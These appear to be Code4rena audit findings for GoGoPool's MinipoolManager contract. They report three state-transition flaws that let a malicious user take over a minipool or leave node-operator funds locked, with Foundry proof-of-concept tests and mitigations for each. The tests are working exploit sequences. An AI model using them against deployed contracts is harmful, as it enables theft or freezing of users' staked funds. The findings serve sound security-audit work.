GoGoPool contest - Ch_301's results

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L164

Vulnerability details

Impact

Node Operator will lose all AVAX funds of his minipool + he can't use his minipool for a period of time

Proof of Concept

Case 01: The status of the minipool is Withdrawable the node op can invoke createMinipool() (by mistake) before callingwithdrawMinipoolFunds() to receive his money back first. Here the node op will lose both avaxNodeOpAmt and avaxNodeOpRewardAmt on this specific nodeID

Case 02: The status of the minipool is Error the node op can invoke createMinipool() (by mistake) before calling withdrawMinipoolFunds() to receive his money back first. Here the node op will only lose avaxNodeOpAmt because the avaxNodeOpRewardAmt are 0.

Case 03: The status of the minipool are Withdrawable or Error any malicious user (or a normal node op passed a different nodeID ) could invoke createMinipool().
He will be the owner of this node op

setAddress(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".owner")), msg.sender);

and the first node op will lose his funds forever + he needs to wait until the Multisig change the state to Error , Canceled or Finished to reuse the same minipool

Please copy the following POC on MinipoolManager.t.sol

function test_from_Withdrawable_to_Prelaunch() public {//!@audit-info -this is a POC of Case 01
		uint256 originalRialtoBalance = address(rialto).balance;
		address lilly = getActorWithTokens("lilly", MAX_AMT, MAX_AMT);
		vm.prank(lilly);

		ggAVAX.depositAVAX{value: MAX_AMT}();
		assertEq(lilly.balance, 0);

		uint256 duration = 2 weeks;
		uint256 depositAmt = 1000 ether;
		uint256 avaxAssignmentRequest = 1000 ether;
		uint256 validationAmt = depositAmt + avaxAssignmentRequest;
		uint128 ggpStakeAmt = 200 ether;

		vm.startPrank(nodeOp);

		ggp.approve(address(staking), ggpStakeAmt);
		staking.stakeGGP(ggpStakeAmt);
		MinipoolManager.Minipool memory mp = createMinipool(depositAmt, avaxAssignmentRequest, duration);

		vm.stopPrank();

		assertEq(vault.balanceOf("MinipoolManager"), depositAmt);

		vm.startPrank(address(rialto));

		minipoolMgr.claimAndInitiateStaking(mp.nodeID);

		assertEq(vault.balanceOf("MinipoolManager"), 0);
		assertEq(address(rialto).balance - originalRialtoBalance, validationAmt);


        //now the funds are locked
		bytes32 txID = keccak256("txid");
		minipoolMgr.recordStakingStart(mp.nodeID, txID, block.timestamp);
		skip(duration);
		uint256 rewards = 10 ether;
		
		//vm.expectRevert(MinipoolManager.InvalidMultisigAddress.selector);
		minipoolMgr.recordStakingEnd{value: validationAmt + rewards}(mp.nodeID, block.timestamp, 10 ether);
        uint256 commissionFee = (5 ether * 15) / 100;
		//checking the node operators rewards are corrrect
		assertEq(vault.balanceOf("MinipoolManager"), (1005 ether + commissionFee));
		vm.stopPrank();
		// Here the Node Operator will invoke `createMinipool()`
		vm.startPrank(nodeOp);

		ggp.approve(address(staking), ggpStakeAmt);
		staking.stakeGGP(ggpStakeAmt);
		mp = createMinipool(depositAmt, avaxAssignmentRequest, duration);

		//Node Operator will try to claim all AVAX funds of his minipool
		vm.expectRevert(MinipoolManager.InvalidStateTransition.selector);
		minipoolMgr.withdrawMinipoolFunds(mp.nodeID);
		vm.stopPrank();
        
	}
	function test_from_Error_to_Prelaunch() public {//!@audit-info -this is a POC of Case 02
		uint256 originalRialtoBalance = address(rialto).balance;
		address lilly = getActorWithTokens("lilly", MAX_AMT, MAX_AMT);
		vm.prank(lilly);

		ggAVAX.depositAVAX{value: MAX_AMT}();
		assertEq(lilly.balance, 0);

		uint256 duration = 2 weeks;
		uint256 depositAmt = 1000 ether;
		uint256 avaxAssignmentRequest = 1000 ether;
		uint256 validationAmt = depositAmt + avaxAssignmentRequest;
		uint128 ggpStakeAmt = 200 ether;

		vm.startPrank(nodeOp);

		ggp.approve(address(staking), ggpStakeAmt);
		staking.stakeGGP(ggpStakeAmt);
		MinipoolManager.Minipool memory mp = createMinipool(depositAmt, avaxAssignmentRequest, duration);

		vm.stopPrank();

		assertEq(vault.balanceOf("MinipoolManager"), depositAmt);

		vm.startPrank(address(rialto));

		minipoolMgr.claimAndInitiateStaking(mp.nodeID);

		assertEq(vault.balanceOf("MinipoolManager"), 0);
		assertEq(address(rialto).balance - originalRialtoBalance, validationAmt);

        //now the funds are locked
		bytes32 txID = keccak256("txid");
		minipoolMgr.recordStakingStart(mp.nodeID, txID, block.timestamp);
		skip(duration);
		
	    // Assume something goes wrong and we are unable to launch a minipool

		bytes32 errorCode = "INVALID_NODEID";

		// Now send correct amt
		minipoolMgr.recordStakingError{value: validationAmt}(mp.nodeID, errorCode);
		assertEq(address(rialto).balance - originalRialtoBalance, 0);
		vm.stopPrank();

		// Here the Node Operator will invoke `createMinipool()`
		vm.startPrank(nodeOp);

		ggp.approve(address(staking), ggpStakeAmt);
		staking.stakeGGP(ggpStakeAmt);
		mp = createMinipool(depositAmt, avaxAssignmentRequest, duration);

		//Node Operator will try to claim all AVAX funds of his minipool
		vm.expectRevert(MinipoolManager.InvalidStateTransition.selector);
		minipoolMgr.withdrawMinipoolFunds(mp.nodeID);
		vm.stopPrank();
        
	}

function test_from_Withdrawable_to_Prelaunch_by_anyone() public {//!@audit-info -this is a POC of case 03
		address nodeOp2 = getActorWithTokens("nodeOp", MAX_AMT, MAX_AMT);//malicious user
		uint256 originalRialtoBalance = address(rialto).balance;
		address lilly = getActorWithTokens("lilly", MAX_AMT, MAX_AMT);
		vm.prank(lilly);

		ggAVAX.depositAVAX{value: MAX_AMT}();
		assertEq(lilly.balance, 0);

		uint256 duration = 2 weeks;
		uint256 depositAmt = 1000 ether;
		uint256 avaxAssignmentRequest = 1000 ether;
		uint256 validationAmt = depositAmt + avaxAssignmentRequest;
		uint128 ggpStakeAmt = 200 ether;

		vm.startPrank(nodeOp);

		ggp.approve(address(staking), ggpStakeAmt);
		staking.stakeGGP(ggpStakeAmt);
		MinipoolManager.Minipool memory mp = createMinipool(depositAmt, avaxAssignmentRequest, duration);

		vm.stopPrank();

		assertEq(vault.balanceOf("MinipoolManager"), depositAmt);

		vm.startPrank(address(rialto));

		minipoolMgr.claimAndInitiateStaking(mp.nodeID);

		assertEq(vault.balanceOf("MinipoolManager"), 0);
		assertEq(address(rialto).balance - originalRialtoBalance, validationAmt);


        //now the funds are locked
		bytes32 txID = keccak256("txid");
		minipoolMgr.recordStakingStart(mp.nodeID, txID, block.timestamp);
		skip(duration);
		uint256 rewards = 10 ether;
		
		//vm.expectRevert(MinipoolManager.InvalidMultisigAddress.selector);
		minipoolMgr.recordStakingEnd{value: validationAmt + rewards}(mp.nodeID, block.timestamp, 10 ether);
        uint256 commissionFee = (5 ether * 15) / 100;
		//checking the node operators rewards are corrrect
		assertEq(vault.balanceOf("MinipoolManager"), (1005 ether + commissionFee));
		vm.stopPrank();
		// Here the Node Operator will invoke `createMinipool()`


		
		vm.startPrank(nodeOp2);

		ggp.approve(address(staking), ggpStakeAmt);
		staking.stakeGGP(ggpStakeAmt);
		mp = createMinipool(depositAmt, avaxAssignmentRequest, duration);
        vm.stopPrank();

		//Node Operator will try to claim all AVAX funds of his minipool but he is now no longer the owner +  
		vm.startPrank(nodeOp);
		vm.expectRevert(MinipoolManager.OnlyOwner.selector);
		minipoolMgr.withdrawMinipoolFunds(mp.nodeID);
		vm.stopPrank();
        
	}

Recommended Mitigation Steps

		} else if (currentStatus == MinipoolStatus.Withdrawable || currentStatus == MinipoolStatus.Error) {
- isValid = (to == MinipoolStatus.Finished || to == MinipoolStatus.Prelaunch); 
+ isValid = (to == MinipoolStatus.Finished);                  
		} else if (currentStatus == MinipoolStatus.Finished || currentStatus == MinipoolStatus.Canceled) { 
			// Once a node is finished/canceled, if they re-validate they go back to beginning state
			isValid = (to == MinipoolStatus.Prelaunch);
		} else {
			isValid = false;
		}
	

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L528-L533

Vulnerability details

Impact

the fund of the nodeOP will be locked on the vault

Proof of Concept

Case 01: After the Multisig has invoked recordStakingEnd() and before the node op invoke withdrawMinipoolFunds() the Multisig can invoke finishFailedMinipoolByMultisig() the fund will be locked on the vault Please copy the following POC on MinipoolManager.t.sol

	function test_the_lock_fund_on_vault() public {//!@audit-info -this is a POC
		uint256 originalRialtoBalance = address(rialto).balance;
		address lilly = getActorWithTokens("lilly", MAX_AMT, MAX_AMT);
		vm.prank(lilly);

		ggAVAX.depositAVAX{value: MAX_AMT}();
		assertEq(lilly.balance, 0);

		uint256 duration = 2 weeks;
		uint256 depositAmt = 1000 ether;
		uint256 avaxAssignmentRequest = 1000 ether;
		uint256 validationAmt = depositAmt + avaxAssignmentRequest;
		uint128 ggpStakeAmt = 200 ether;

		vm.startPrank(nodeOp);

		ggp.approve(address(staking), ggpStakeAmt);
		staking.stakeGGP(ggpStakeAmt);
		MinipoolManager.Minipool memory mp = createMinipool(depositAmt, avaxAssignmentRequest, duration);

		vm.stopPrank();

		assertEq(vault.balanceOf("MinipoolManager"), depositAmt);

		vm.startPrank(address(rialto));

		minipoolMgr.claimAndInitiateStaking(mp.nodeID);

		assertEq(vault.balanceOf("MinipoolManager"), 0);
		assertEq(address(rialto).balance - originalRialtoBalance, validationAmt);
		// We simulate a random txID here
		bytes32 txID = keccak256("txid");
		minipoolMgr.recordStakingStart(mp.nodeID, txID, block.timestamp);
		uint256 rewards = 10 ether;
		skip(duration);
		//right now rewards are split equally between the node op and user. User provided half the total funds in this test
		minipoolMgr.recordStakingEnd{value: validationAmt + rewards}(mp.nodeID, block.timestamp, 10 ether);
		uint256 commissionFee = (5 ether * 15) / 100;
		//checking the node operators rewards are corrrect
		assertEq(vault.balanceOf("MinipoolManager"), (1005 ether + commissionFee));
		//!now the funds are locked
        minipoolMgr.finishFailedMinipoolByMultisig(mp.nodeID);
		vm.stopPrank();
        
		//!test that the node op can't withdraw the funds they are due
		vm.startPrank(nodeOp);
		vm.expectRevert(MinipoolManager.InvalidStateTransition.selector);
		minipoolMgr.withdrawMinipoolFunds(mp.nodeID);
		vm.stopPrank();
	}

case 02: After the Multisig has invoke recordStakingError() he can imeditly call finishFailedMinipoolByMultisig() and the fund will be locked on the vault

Please copy the following POC on MinipoolManager.t.sol

	function test_lock_fund_on_vault_from_Error_to_finish() public {//!@audit-info -this is a POC
		uint256 originalRialtoBalance = address(rialto).balance;
		address lilly = getActorWithTokens("lilly", MAX_AMT, MAX_AMT);
		vm.prank(lilly);

		ggAVAX.depositAVAX{value: MAX_AMT}();
		assertEq(lilly.balance, 0);

		uint256 duration = 2 weeks;
		uint256 depositAmt = 1000 ether;
		uint256 avaxAssignmentRequest = 1000 ether;
		uint256 validationAmt = depositAmt + avaxAssignmentRequest;
		uint128 ggpStakeAmt = 200 ether;

		vm.startPrank(nodeOp);

		ggp.approve(address(staking), ggpStakeAmt);
		staking.stakeGGP(ggpStakeAmt);
		MinipoolManager.Minipool memory mp = createMinipool(depositAmt, avaxAssignmentRequest, duration);

		vm.stopPrank();

		assertEq(vault.balanceOf("MinipoolManager"), depositAmt);

		vm.startPrank(address(rialto));

		minipoolMgr.claimAndInitiateStaking(mp.nodeID);

		assertEq(vault.balanceOf("MinipoolManager"), 0);
		assertEq(address(rialto).balance - originalRialtoBalance, validationAmt);
		// We simulate a random txID here
		bytes32 txID = keccak256("txid");
		minipoolMgr.recordStakingStart(mp.nodeID, txID, block.timestamp);

		bytes32 errorCode = "INVALID_NODEID";
		minipoolMgr.recordStakingError{value: validationAmt}(mp.nodeID, errorCode);

		//!now the funds are locked
        minipoolMgr.finishFailedMinipoolByMultisig(mp.nodeID);
        vm.stopPrank();

		//!test that the node op can't withdraw the funds they are due
		vm.startPrank(nodeOp);
		vm.expectRevert(MinipoolManager.InvalidStateTransition.selector);
		minipoolMgr.withdrawMinipoolFunds(mp.nodeID);
	}

Recommended Mitigation Steps

Make sure that the nodeOP can withdraw his funds in case the status is Finished

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L444-L478

Vulnerability details

Impact

The Vault will lose funds The nodeOP will be slash() The minipool can be active for infinite cycles

Proof of Concept

“...behind the scenes, Rialto will only create a validator for 14 days. At the end of the 14 days, the Avalanche protocol pays out the validation rewards and all funds are returned to the contracts, which divvy up the rewards between liq stakers and nodeops. If the duration still has time left to go, Rialto will call recreateMinipool which will do another 14 days cycle…”

After 14 days Rialto will invoke recordStakingEnd() **Case 01: ** Duration still has time left to go. Rialto will call recreateMinipool() which will do another 14 days cycle. malicious Multisig or by mistake can invoke recreateMinipool() even if the minipool has no fund on it

Please copy the following POC on MinipoolManager.t.sol

	function test_Canceled_to_Prelaunch() public {//!@audit-info  POC ==> Case 01
	    address nodeOp2 = getActorWithTokens("nodeOp", MAX_AMT, MAX_AMT);
		//uint256 originalRialtoBalance = address(rialto).balance;
		address lilly = getActorWithTokens("lilly", MAX_AMT, MAX_AMT);
		vm.prank(lilly);
		ggAVAX.depositAVAX{value: MAX_AMT}();
		assertEq(lilly.balance, 0);

		uint256 duration = 2 weeks;
		uint256 depositAmt = 1000 ether;
		uint256 avaxAssignmentRequest = 1000 ether;
		//uint256 validationAmt = depositAmt + avaxAssignmentRequest;
		uint128 ggpStakeAmt = 200 ether;

        //! `nodeOp2` createMinipool 
		vm.startPrank(nodeOp2);
		ggp.approve(address(staking), ggpStakeAmt);
		staking.stakeGGP(ggpStakeAmt);
		MinipoolManager.Minipool memory mp02 = createMinipool(depositAmt, avaxAssignmentRequest, duration);
		assertEq(vault.balanceOf("MinipoolManager"), depositAmt);
		vm.stopPrank();

		//! `nodeOp` createMinipool 
		vm.startPrank(nodeOp);
		ggp.approve(address(staking), ggpStakeAmt);
		staking.stakeGGP(ggpStakeAmt);
		MinipoolManager.Minipool memory mp = createMinipool(depositAmt, avaxAssignmentRequest, duration);
		assertEq(vault.balanceOf("MinipoolManager"), depositAmt * 2  );
		skip(1 weeks);
		minipoolMgr.cancelMinipool(mp.nodeID);
		assertEq(vault.balanceOf("MinipoolManager"), depositAmt);
		vm.stopPrank();

        //! this is the step leading to the mistake 
		vm.startPrank(address(rialto));
		minipoolMgr.recreateMinipool(mp.nodeID);
		assertEq(vault.balanceOf("MinipoolManager"), depositAmt );
		minipoolMgr.claimAndInitiateStaking(mp.nodeID);
		assertEq(vault.balanceOf("MinipoolManager"), 0 );
		vm.stopPrank();

        //! Now `nodeOp2` will try to `cancelMinipool()`
		vm.startPrank(nodeOp2);
		vm.expectRevert(Vault.InsufficientContractBalance.selector);
		minipoolMgr.cancelMinipool(mp02.nodeID);
        vm.stopPrank();

	}

Case 02: This is the last cycle. Or the time left is smaller than 14 days malicious Multisig or by mistake can invoke recreateMinipool(), so in case of the node op can shut down the node and he just decided to leave his fund in the vault for a period of time, so no reward for this minipool this will lead to slash(). You can avoid this case by checking the time left

Please copy the following POC on MinipoolManager.t.sol

	function test_Finished_to_Prelaunch() public {//!@audit-info  POC ==> Case 02
		uint256 originalRialtoBalance = address(rialto).balance;
		address lilly = getActorWithTokens("lilly", MAX_AMT, MAX_AMT);
		vm.prank(lilly);
		ggAVAX.depositAVAX{value: MAX_AMT}();
		assertEq(lilly.balance, 0);

		uint256 duration = 2 weeks;
		uint256 depositAmt = 1000 ether;
		uint256 avaxAssignmentRequest = 1000 ether;
		uint256 validationAmt = depositAmt + avaxAssignmentRequest;
		uint128 ggpStakeAmt = 200 ether;

		//! `nodeOp` createMinipool 
		vm.startPrank(nodeOp);
		ggp.approve(address(staking), ggpStakeAmt);
		staking.stakeGGP(ggpStakeAmt);
		MinipoolManager.Minipool memory mp = createMinipool(depositAmt, avaxAssignmentRequest, duration);
		assertEq(vault.balanceOf("MinipoolManager"), depositAmt );
		vm.stopPrank();

		//! Normal flow
		vm.startPrank(address(rialto));
		minipoolMgr.claimAndInitiateStaking(mp.nodeID);

		assertEq(vault.balanceOf("MinipoolManager"), 0);
		assertEq(address(rialto).balance - originalRialtoBalance, validationAmt);
		// We simulate a random txID here
		bytes32 txID = keccak256("txid");
		minipoolMgr.recordStakingStart(mp.nodeID, txID, block.timestamp);

		skip(duration);
		uint256 rewards = 2 ether;

		//right now rewards are split equally between the node op and user. User provided half the total funds in this test
		minipoolMgr.recordStakingEnd{value: validationAmt + rewards}(mp.nodeID, block.timestamp, 2 ether);
		uint256 commissionFee = (1 ether * 15) / 100;
		//checking the node operators rewards are corrrect
		assertEq(vault.balanceOf("MinipoolManager"), (1001 ether + commissionFee));

		vm.stopPrank();

        //! this is should revert because the `duration == 14 days`
		vm.startPrank(address(rialto));
		minipoolMgr.recreateMinipool(mp.nodeID);
		assertEq(vault.balanceOf("MinipoolManager"), 1001 ether + commissionFee );
		minipoolMgr.claimAndInitiateStaking(mp.nodeID);
		assertEq(vault.balanceOf("MinipoolManager"), 0 );
		vm.stopPrank();

       //! Now `nodeOp` will try to `withdrawMinipoolFunds()`
		vm.startPrank(nodeOp);
		vm.expectRevert(MinipoolManager.InvalidStateTransition.selector);
		minipoolMgr.withdrawMinipoolFunds(mp.nodeID);
        vm.stopPrank();

	}

Recommended Mitigation Steps

Add more checks on recreateMinipool()